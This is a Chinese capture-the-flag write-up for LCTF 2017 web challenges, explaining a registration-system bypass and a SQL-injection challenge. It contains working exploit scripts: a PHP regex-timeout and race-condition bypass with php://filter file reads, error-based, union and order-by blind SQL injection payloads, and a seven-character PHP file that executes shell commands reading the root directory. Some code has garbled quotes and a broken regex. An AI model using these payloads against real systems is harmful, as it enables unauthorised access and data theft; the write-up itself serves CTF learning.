1. 程式人生 > >LCTF-2017-web-wp(持續更新)

LCTF-2017-web-wp(持續更新)

容易 gets point 匹配 light 4.2 貪婪匹配 XML 重點

【1】萌萌噠報名系統

技術分享圖片

題目提示使用IDE開發的報名系統,大概使用的事phpstorm,使用工具掃了一下技術分享圖片

我們發現存在.idea文件泄露,查看.idea/workspace.xml源碼可以發現存在xdcms2333.zip

下載下來解壓發現源碼,這裏我定位到幾處關鍵代碼:

//register.php
$sth = $pdo->prepare(‘INSERT INTO users (username, password) VALUES (:username, :password)‘);
$sth->execute([‘:username‘ => $username, ‘:password‘ => $password]);
 
preg_match(‘/^(xdsec)((?:###|*))$/i‘, $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
    $sth = $pdo->prepare(‘INSERT INTO identities (username, identity) VALUES (:username, :identity)‘);
    $sth->execute([‘:username‘ => $username, ‘:identity‘ => $matches[1]]);
} else {
    $sth = $pdo->prepare(‘INSERT INTO identities (username, identity) VALUES (:username, "GUEST")‘);
    $sth->execute([‘:username‘ => $username]);
}

  

//login.php
$sth = $pdo->prepare(‘SELECT password FROM users WHERE username = :username‘);
$sth->execute([‘:username‘ => $username]);
if ($sth->fetch()[0] !== $password) {
    die(‘wrong password‘);
}
$_SESSION[‘username‘] = $username;
unset($_SESSION[‘is_logined‘]);
unset($_SESSION[‘is_guest‘]);

  

/member.php
if (isset($_SESSION[‘username‘]) === false) {
    die(‘please login first‘);
}
$sth = $pdo->prepare(‘SELECT identity FROM identities WHERE username = :username‘);
$sth->execute([‘:username‘ => $_SESSION[‘username‘]]);
if ($sth->fetch()[0] === ‘GUEST‘) {
    $_SESSION[‘is_guest‘] = true;
}
 。
$_SESSION[‘is_logined‘] = true;
if (isset($_SESSION[‘is_logined‘]) === false || isset($_SESSION[‘is_guest‘]) === true) {
    
}else{
    if(isset($_GET[‘file‘])===false)
        echo "None";
    elseif(is_file($_GET[‘file‘]))
        echo "you cannot give me a file";
    else
        readfile($_GET[‘file‘]);
}

  我們很容易發現對賬號密碼的驗證和對身份的驗證是分開的,member中關於identity的驗證是查詢成功取出數據。並且

$sth->fetch()[0] === ‘GUEST‘

  所以即使沒有查詢成功也可以繞過驗證。

破題重點在在於

preg_match(‘/^(xdsec)((?:###|*))$/i‘, $code, $matches);

  這裏的preg_match存在貪婪匹配,那麽我們可以餵給它一個超長的字符串讓它去吃,導致pre_match消耗大量資源從而導致php超時,後面的php語句就不會執行。這樣便是繞過了第一層。

第二層利用偽協議就可以繞過php的is_file,然後讀取本目錄下的config.php即可得到flag。貼上本人的一個py腳本:

#coding:utf-8
#auther:ur10ser
import  requests
url = ‘http://123.206.120.239/‘
log = ‘login.php‘
reg = ‘register.php‘
s = requests.session()
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
          "Content-Type": "application/x-www-form-urlencoded"}
data = {
    ‘to‘:‘reg‘,
    ‘did‘:‘0‘,
    ‘username‘:‘ur10ser‘,
    ‘password‘:‘ur10ser‘,
    ‘code‘:‘xdsec###‘+‘AAA‘*50000
}

data1 = {
    ‘to‘:‘log‘,
    ‘username‘:‘ur10ser‘,
    ‘password‘:‘ur10ser‘
}

url1 = url+reg
url2 = url+log
s.post(url1,headers=headers,data=data)
print ‘[+]註冊成功!‘
s.post(url2,data=data1)
print ‘[+]登錄成功!‘
r = s.get(‘http://123.206.120.239/member.php?file=php://filter/resource=config.php‘)
print r.content

  運行結果技術分享圖片

下面再來講講這題的非預期解——條件競爭。

因為身份驗證是用

if ($sth->fetch()[0] === ‘GUEST‘)

的那麽如果在identities表中沒有username這一行數據,那麽取出來$sth->fetch()[0]結果就是null,還是可以繞過第一層,所以可以用python多線程註冊用戶,在

$sth = $pdo->prepare(‘INSERT INTO identities (username, identity) VALUES (:username, :identity)‘);

語句執行之前登陸上去就可以繞過第一層。

下面貼上Au1ge師傅給的條件競爭腳本

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import re
import uuid
import threading

url = "http://123.206.120.239/register.php"
url1 = "http://123.206.120.239/login.php"
url2 = "http://123.206.120.239/index.php"
url3 = "http://123.206.120.239/member.php?file=php://filter/resource=config.php"

username = ""
session = ""

proxies={
    ‘http‘:‘http://127.0.0.1:8080‘
}

def sess():
    r = requests.get(url1)
    m = re.search(‘PHPSESSID=(.*?);‘,r.headers[‘Set-Cookie‘])
    if m:
        return str(m.group(1))

def regist():
    global username,session
    while True:
        data = {
            ‘to‘:‘reg‘,
            ‘username‘ : username,
            ‘password‘ : ‘1‘,
            ‘code‘:‘xdsec‘+‘###‘*5000
        }
        cookie = {
            ‘PHPSESSID‘ : session
        }
        r = requests.post(url, data=data, cookies=cookie,stream=True)
def login():
    global username,session
    while True:
        data1 = {
            ‘username‘ : username,
            ‘password‘ : ‘1‘,
            ‘to‘ : ‘log‘
        }
        cookie1 = {
            ‘PHPSESSID‘ : session
        }

        r1 = requests.post(url1, data=data1, cookies=cookie1)
        content = r1.content
        if ‘None‘ in content:
            print content
            print "login: " + username + ‘-‘ + session
        # print r1.text
        # return

        username = str(uuid.uuid4())[:16]
        session = sess()

def read():
    global username,session
    while True:
        cookie2 = {
            ‘PHPSESSID‘ : session
        }
        r=requests.get(url3,cookies=cookie2)
        if ‘php‘ in r.text:
            print r.text

username = str(uuid.uuid4())[:16]
session = sess()

def main():
    threadpool=[]

    for n in xrange(10):
        th = threading.Thread(target=login)
        th.setDaemon(True)
        threadpool.append(th)
    for n in xrange(10):
        th = threading.Thread(target=regist)
        th.setDaemon(True)
        threadpool.append(th)
    for n in xrange(10):
        th = threading.Thread(target=read)
        th.setDaemon(True)
        threadpool.append(th)
    for th in threadpool:
        th.start()
    for th in threadpool :
        threading.Thread.join(th)

if __name__ == ‘__main__‘:
    main()

反思:一開始是在bp構造一個超級長的字符串去餵給preg_match,還有bp堅強沒有卡死。。後面看有師傅利用bp的Intruder。具體操作是

1.burpsuite Intruder無限POST login.php進行登錄操作
2.burpsuite Intruder無限GET member.php
3.在前面兩個都在跑的情況下註冊一個賬號

三個操作的cookie必須相同,1和3中的賬號密碼要相同,這樣在註冊的同時就完成了登錄操作並且訪問了member並繞過身份檢測可以執行下一部分代碼。可以使用

?file=./x/../config.php

  讀取任意文件。

【2】他們有什麽秘密呢

做這道題真的是思維僵化,感覺自己平時學的太傻了,不知道舉一反三 - -!。

題目提示

1.entrance.php

2.There is no need to scan and brute force!

3.Hacking for fun!

  進入entrance.php測試發現存在sql註入,但是schema,information,column之類能爆庫名列名字段的的都被過濾了,但是出題人不可能讓你去爆破這些名字。技術分享圖片

輕松拿到庫名。很容易想到使用報錯註入,參考https://dev.mysql.com/doc/refman/5.5/en/func-op-summary-ref.html。fuzz下發現

multiPolygon(id) multilinestring(id) linestring(id) GeometryCollection(id) MultiPoint(id) polugon(id)

  這些函數可以用來報錯註入,一個個試了下之後發現只有linestring(id)可以用。我們可以用它爆表名,提交pro_id=1 and linestring(pro_id)技術分享圖片

接下來想辦法拿到product_2017ctf的字段名,

pro_id=1 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_name)) as C
得到下一列pro_name,繼續報錯
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)
繼續得到owner
最後得到d067a0fa9dc61a6e

這裏d067a0fa9dc61a6e被過濾了,有兩個辦法

【1】想要在不出現字段名的情況下查出內容,將一個虛擬表和當前表聯合起來即可,payload:

pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1;

  【2】使用order by盲註,這裏我引用p牛的腳本,order by盲註具體的可以自行百度。

# -*- coding:utf8 -*-
__author__=‘[email protected]‘
 
import requests
import time
import string
 
def foo():
    url=r‘http://182.254.246.93/entrance.php‘
    mys=requests.session()
    x="3 union distinct select 1,2,3,0x%s  order by 4 desc"
    cset=string.maketrans(‘‘,‘‘)[33:127]
    pwd=‘‘
    while True:
        try:
            for i in cset:
                myd={‘pro_id‘:x %(pwd+i).encode(‘hex‘)}
                res=mys.post(url,data=myd).content
                if ‘nextentrance‘ not in res:
                    pwd+=chr(ord(i)-1)
                    print pwd
                    break
                pass
            time.sleep(0.01)
        except:
            print ‘_ _‘
            time.sleep(0.5)
        pass
 
    pass
 
if __name__ == ‘__main__‘:
    foo()
    print ‘ok‘

  結合tip我們拿到了下一個入口的地址

技術分享圖片

發現content被限制在了7個字符之類,而且不是簡單的前段限制。

文件名    內容
bash      隨意
bb        7個字符內的命令
z.php     <?=`*`;

  z.php中的<?=‘*‘;剛好七個字符,訪問後能把當前目錄下的所有文件按字母順序列出,然後執行。傳好上面3個文件後,當前文件夾就有4個文件了,按字母排序如下

bash bb index.html(題目本來就有的) z.php

  訪問z.php後,相當於執行了bash bb index.php z.php

bb的內容分別為ls /和cat /3*

技術分享圖片

其實也可以getshell,但是有沒有覺得這個方法簡單一點。有道原題分析的很清楚http://www.vuln.cn/6016

LCTF-2017-web-wp(持續更新)